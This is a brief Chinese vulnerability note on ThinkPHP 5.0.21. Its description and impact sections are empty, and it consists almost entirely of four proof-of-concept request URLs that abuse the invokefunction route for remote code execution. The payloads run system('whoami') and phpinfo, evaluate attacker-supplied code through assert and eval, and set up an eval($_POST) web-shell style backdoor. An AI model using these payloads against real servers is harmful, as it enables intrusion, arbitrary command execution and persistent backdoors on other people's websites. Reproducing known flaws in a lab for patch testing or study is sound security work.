008-Thinkphp 5.0.21

# Thinkphp 5.0.21

### 一、漏洞简介

### 二、漏洞影响

### 三、复现过程

1、poc

“`
http://url/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
“`

2、poc

“`
http://url/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
“`

3、poc

“`
http://url/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_GET[‘fuck’]);&fuck=system(“whoami”);
“`

4、poc

“`
http://url/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_GET[‘fuck’]);&fuck=eval($_POST[ian]);
“`